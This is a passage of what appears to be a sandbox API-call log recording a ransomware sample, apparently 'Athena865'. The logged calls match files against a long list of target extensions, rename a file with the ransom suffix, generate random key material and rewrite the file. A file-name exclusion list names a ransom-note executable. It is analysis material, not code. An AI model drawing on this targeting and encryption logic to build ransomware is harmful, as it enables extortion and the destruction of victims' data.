lstrcmpiW (lpString1="tipresx.dll", lpString2=".ini") returned 1 [0111.413] lstrlenW (lpString=".sys") returned 4 [0111.413] lstrcmpiW (lpString1="tipresx.dll", lpString2=".sys") returned 1 [0111.413] lstrlenW (lpString="tipresx.dll") returned 11 [0111.413] lstrlenW (lpString="bak") returned 3 [0111.413] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0111.413] lstrlenW (lpString="ba_") returned 3 [0111.413] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0111.413] lstrlenW (lpString="dbb") returned 3 [0111.413] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0111.413] lstrlenW (lpString="vmdk") returned 4 [0111.413] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0111.413] lstrlenW (lpString="rar") returned 3 [0111.413] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0111.413] lstrlenW (lpString="zip") returned 3 [0111.413] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0111.413] lstrlenW (lpString="tgz") returned 3 [0111.413] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0111.413] lstrlenW (lpString="vbox") returned 4 [0111.414] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0111.414] lstrlenW (lpString="vdi") returned 3 [0111.414] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0111.414] lstrlenW (lpString="vhd") returned 3 [0111.414] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0111.414] lstrlenW (lpString="vhdx") returned 4 [0111.414] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0111.414] lstrlenW (lpString="avhd") returned 4 [0111.414] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0111.414] lstrlenW (lpString="db") returned 2 [0111.414] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0111.414] lstrlenW (lpString="db2") returned 3 [0111.414] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0111.414] lstrlenW (lpString="db3") returned 3 [0111.414] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0111.414] lstrlenW (lpString="dbf") returned 3 [0111.414] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0111.414] lstrlenW (lpString="mdf") returned 3 [0111.414] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0111.414] lstrlenW (lpString="mdb") returned 3 [0111.414] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0111.414] lstrlenW (lpString="sql") returned 3 [0111.414] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0111.414] lstrlenW (lpString="sqlite") returned 6 [0111.414] lstrcmpiW (lpString1="sx.dll", lpString2="sqlite") returned 1 [0111.414] lstrlenW (lpString="sqlite3") returned 7 [0111.414] lstrcmpiW (lpString1="esx.dll", lpString2="sqlite3") returned -1 [0111.414] lstrlenW (lpString="sqlitedb") returned 8 [0111.415] lstrcmpiW (lpString1="resx.dll", lpString2="sqlitedb") returned -1 [0111.415] lstrlenW (lpString="xml") returned 3 [0111.415] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0111.415] lstrlenW (lpString="$er") returned 3 [0111.415] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0111.415] lstrlenW (lpString="4dd") returned 3 [0111.415] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0111.415] lstrlenW (lpString="4dl") returned 3 [0111.415] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0111.415] lstrlenW (lpString="^^^") returned 3 [0111.415] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0111.415] lstrlenW (lpString="abs") returned 3 [0111.415] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0111.415] lstrlenW (lpString="abx") returned 3 [0111.415] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0111.415] lstrlenW (lpString="accdb") returned 5 [0111.415] lstrcmpiW (lpString1="x.dll", lpString2="accdb") returned 1 [0111.415] lstrlenW (lpString="accdc") returned 5 [0111.415] lstrcmpiW (lpString1="x.dll", lpString2="accdc") returned 1 [0111.415] lstrlenW (lpString="accde") returned 5 [0111.415] lstrcmpiW (lpString1="x.dll", lpString2="accde") returned 1 [0111.415] lstrlenW (lpString="accdr") returned 5 [0111.415] lstrcmpiW (lpString1="x.dll", lpString2="accdr") returned 1 [0111.415] lstrlenW (lpString="accdt") returned 5 [0111.415] lstrcmpiW (lpString1="x.dll", lpString2="accdt") returned 1 [0111.415] lstrlenW (lpString="accdw") returned 5 [0111.415] lstrcmpiW (lpString1="x.dll", lpString2="accdw") returned 1 [0111.415] lstrlenW (lpString="accft") returned 5 [0111.415] lstrcmpiW (lpString1="x.dll", lpString2="accft") returned 1 [0111.416] lstrlenW (lpString="adb") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.416] lstrlenW (lpString="adb") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.416] lstrlenW (lpString="ade") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0111.416] lstrlenW (lpString="adf") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0111.416] lstrlenW (lpString="adn") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0111.416] lstrlenW (lpString="adp") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0111.416] lstrlenW (lpString="alf") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0111.416] lstrlenW (lpString="ask") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0111.416] lstrlenW (lpString="btr") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0111.416] lstrlenW (lpString="cat") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0111.416] lstrlenW (lpString="cdb") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0111.416] lstrlenW (lpString="ckp") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0111.416] lstrlenW (lpString="cma") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0111.416] lstrlenW (lpString="cpd") returned 3 [0111.416] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0111.416] lstrlenW (lpString="dacpac") returned 6 [0111.417] lstrcmpiW (lpString1="sx.dll", lpString2="dacpac") returned 1 [0111.417] lstrlenW (lpString="dad") returned 3 [0111.417] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0111.417] lstrlenW (lpString="dadiagrams") returned 10 [0111.417] lstrcmpiW (lpString1="ipresx.dll", lpString2="dadiagrams") returned 1 [0111.417] lstrlenW (lpString="daschema") returned 8 [0111.417] lstrcmpiW (lpString1="resx.dll", lpString2="daschema") returned 1 [0111.417] lstrlenW (lpString="db-journal") returned 10 [0111.417] lstrcmpiW (lpString1="ipresx.dll", lpString2="db-journal") returned 1 [0111.417] lstrlenW (lpString="db-shm") returned 6 [0111.417] lstrcmpiW (lpString1="sx.dll", lpString2="db-shm") returned 1 [0111.417] lstrlenW (lpString="db-wal") returned 6 [0111.417] lstrcmpiW (lpString1="sx.dll", lpString2="db-wal") returned 1 [0111.417] lstrlenW (lpString="dbc") returned 3 [0111.417] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0111.417] lstrlenW (lpString="dbs") returned 3 [0111.417] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0111.417] lstrlenW (lpString="dbt") returned 3 [0111.417] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0111.417] lstrlenW (lpString="dbv") returned 3 [0111.417] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0111.417] lstrlenW (lpString="dbx") returned 3 [0111.417] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0111.417] lstrlenW (lpString="dcb") returned 3 [0111.417] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0111.417] lstrlenW (lpString="dct") returned 3 [0111.417] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0111.417] lstrlenW (lpString="dcx") returned 3 [0111.417] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0111.418] lstrlenW (lpString="ddl") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0111.418] lstrlenW (lpString="dlis") returned 4 [0111.418] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0111.418] lstrlenW (lpString="dp1") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0111.418] lstrlenW (lpString="dqy") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0111.418] lstrlenW (lpString="dsk") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0111.418] lstrlenW (lpString="dsn") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0111.418] lstrlenW (lpString="dtsx") returned 4 [0111.418] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0111.418] lstrlenW (lpString="dxl") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0111.418] lstrlenW (lpString="eco") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0111.418] lstrlenW (lpString="ecx") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0111.418] lstrlenW (lpString="edb") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0111.418] lstrlenW (lpString="epim") returned 4 [0111.418] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0111.418] lstrlenW (lpString="fcd") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0111.418] lstrlenW (lpString="fdb") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0111.418] lstrlenW (lpString="fic") returned 3 [0111.418] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0111.419] lstrlenW (lpString="flexolibrary") returned 12 [0111.419] lstrlenW (lpString="fm5") returned 3 [0111.419] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0111.419] lstrlenW (lpString="fmp") returned 3 [0111.419] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0111.419] lstrlenW (lpString="fmp12") returned 5 [0111.419] lstrcmpiW (lpString1="x.dll", lpString2="fmp12") returned 1 [0111.419] lstrlenW (lpString="fmpsl") returned 5 [0111.419] lstrcmpiW (lpString1="x.dll", lpString2="fmpsl") returned 1 [0111.419] lstrlenW (lpString="fol") returned 3 [0111.419] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0111.419] lstrlenW (lpString="fp3") returned 3 [0111.419] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0111.419] lstrlenW (lpString="fp4") returned 3 [0111.419] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0111.419] lstrlenW (lpString="fp5") returned 3 [0111.419] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0111.419] lstrlenW (lpString="fp7") returned 3 [0111.419] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0111.419] lstrlenW (lpString="fpt") returned 3 [0111.419] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0111.419] lstrlenW (lpString="frm") returned 3 [0111.419] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0111.419] lstrlenW (lpString="gdb") returned 3 [0111.419] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0111.419] lstrlenW (lpString="gdb") returned 3 [0111.420] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0111.420] lstrlenW (lpString="grdb") returned 4 [0111.420] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0111.420] lstrlenW (lpString="gwi") returned 3 [0111.420] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0111.420] lstrlenW (lpString="hdb") returned 3 [0111.420] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0111.420] lstrlenW (lpString="his") returned 3 [0111.420] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0111.420] lstrlenW (lpString="ib") returned 2 [0111.420] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0111.420] lstrlenW (lpString="idb") returned 3 [0111.420] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0111.420] lstrlenW (lpString="ihx") returned 3 [0111.420] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0111.420] lstrlenW (lpString="itdb") returned 4 [0111.420] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0111.420] lstrlenW (lpString="itw") returned 3 [0111.420] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0111.420] lstrlenW (lpString="jet") returned 3 [0111.420] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0111.420] lstrlenW (lpString="jtx") returned 3 [0111.420] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0111.420] lstrlenW (lpString="kdb") returned 3 [0111.420] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0111.420] lstrlenW (lpString="kexi") returned 4 [0111.420] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0111.420] lstrlenW (lpString="kexic") returned 5 [0111.420] lstrcmpiW (lpString1="x.dll", lpString2="kexic") returned 1 [0111.420] lstrlenW (lpString="kexis") returned 5 [0111.421] lstrcmpiW (lpString1="x.dll", lpString2="kexis") returned 1 [0111.421] lstrlenW (lpString="lgc") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0111.421] lstrlenW (lpString="lwx") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0111.421] lstrlenW (lpString="maf") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0111.421] lstrlenW (lpString="maq") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0111.421] lstrlenW (lpString="mar") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0111.421] lstrlenW (lpString="marshal") returned 7 [0111.421] lstrcmpiW (lpString1="esx.dll", lpString2="marshal") returned -1 [0111.421] lstrlenW (lpString="mas") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0111.421] lstrlenW (lpString="mav") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0111.421] lstrlenW (lpString="maw") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0111.421] lstrlenW (lpString="mdbhtml") returned 7 [0111.421] lstrcmpiW (lpString1="esx.dll", lpString2="mdbhtml") returned -1 [0111.421] lstrlenW (lpString="mdn") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0111.421] lstrlenW (lpString="mdt") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0111.421] lstrlenW (lpString="mfd") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0111.421] lstrlenW (lpString="mpd") returned 3 [0111.421] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0111.421] lstrlenW (lpString="mrg") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0111.422] lstrlenW (lpString="mud") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0111.422] lstrlenW (lpString="mwb") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0111.422] lstrlenW (lpString="myd") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0111.422] lstrlenW (lpString="ndf") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0111.422] lstrlenW (lpString="nnt") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0111.422] lstrlenW (lpString="nrmlib") returned 6 [0111.422] lstrcmpiW (lpString1="sx.dll", lpString2="nrmlib") returned 1 [0111.422] lstrlenW (lpString="ns2") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0111.422] lstrlenW (lpString="ns3") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0111.422] lstrlenW (lpString="ns4") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0111.422] lstrlenW (lpString="nsf") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0111.422] lstrlenW (lpString="nv") returned 2 [0111.422] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0111.422] lstrlenW (lpString="nv2") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0111.422] lstrlenW (lpString="nwdb") returned 4 [0111.422] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0111.422] lstrlenW (lpString="nyf") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0111.422] lstrlenW (lpString="odb") returned 3 [0111.422] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0111.423] lstrlenW (lpString="odb") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0111.423] lstrlenW (lpString="oqy") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0111.423] lstrlenW (lpString="ora") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0111.423] lstrlenW (lpString="orx") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0111.423] lstrlenW (lpString="owc") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0111.423] lstrlenW (lpString="p96") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0111.423] lstrlenW (lpString="p97") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0111.423] lstrlenW (lpString="pan") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0111.423] lstrlenW (lpString="pdb") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0111.423] lstrlenW (lpString="pdm") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0111.423] lstrlenW (lpString="pnz") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0111.423] lstrlenW (lpString="qry") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0111.423] lstrlenW (lpString="qvd") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0111.423] lstrlenW (lpString="rbf") returned 3 [0111.423] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0111.423] lstrlenW (lpString="rctd") returned 4 [0111.423] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0111.423] lstrlenW (lpString="rod") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0111.424] lstrlenW (lpString="rodx") returned 4 [0111.424] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0111.424] lstrlenW (lpString="rpd") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0111.424] lstrlenW (lpString="rsd") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0111.424] lstrlenW (lpString="sas7bdat") returned 8 [0111.424] lstrcmpiW (lpString1="resx.dll", lpString2="sas7bdat") returned -1 [0111.424] lstrlenW (lpString="sbf") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0111.424] lstrlenW (lpString="scx") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0111.424] lstrlenW (lpString="sdb") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0111.424] lstrlenW (lpString="sdc") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0111.424] lstrlenW (lpString="sdf") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0111.424] lstrlenW (lpString="sis") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0111.424] lstrlenW (lpString="spq") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0111.424] lstrlenW (lpString="te") returned 2 [0111.424] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0111.424] lstrlenW (lpString="teacher") returned 7 [0111.424] lstrcmpiW (lpString1="esx.dll", lpString2="teacher") returned -1 [0111.424] lstrlenW (lpString="tmd") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0111.424] lstrlenW (lpString="tps") returned 3 [0111.424] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0111.425] lstrlenW (lpString="trc") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0111.425] lstrlenW (lpString="trc") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0111.425] lstrlenW (lpString="trm") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0111.425] lstrlenW (lpString="udb") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0111.425] lstrlenW (lpString="udl") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0111.425] lstrlenW (lpString="usr") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0111.425] lstrlenW (lpString="v12") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0111.425] lstrlenW (lpString="vis") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0111.425] lstrlenW (lpString="vpd") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0111.425] lstrlenW (lpString="vvv") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0111.425] lstrlenW (lpString="wdb") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0111.425] lstrlenW (lpString="wmdb") returned 4 [0111.425] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0111.425] lstrlenW (lpString="wrk") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0111.425] lstrlenW (lpString="xdb") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0111.425] lstrlenW (lpString="xld") returned 3 [0111.425] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0111.425] lstrlenW (lpString="xmlff") returned 5 [0111.425] lstrcmpiW (lpString1="x.dll", lpString2="xmlff") returned -1 [0111.426] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll.Athena865") returned 72 [0111.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.athena865"), dwFlags=0x1) returned 1 [0111.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0111.427] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12288) returned 1 [0111.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0111.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.427] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.428] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.428] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.428] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3300, lpName=0x0) returned 0x154 [0111.430] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3300) returned 0x100000 [0111.431] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0111.432] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.432] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0111.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.432] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0111.433] CloseHandle (hObject=0x154) returned 1 [0111.433] CloseHandle (hObject=0x17c) returned 1 [0111.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0111.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0111.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.433] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2=".") returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="..") returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="windows") returned -1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="bootmgr") returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="temp") returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="pagefile.sys") returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="boot") returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="ids.txt") returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="ntuser.dat") returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="perflogs") returned 1 [0111.433] lstrcmpiW (lpString1="tipskins.dll", lpString2="MSBuild") returned 1 [0111.434] lstrlenW 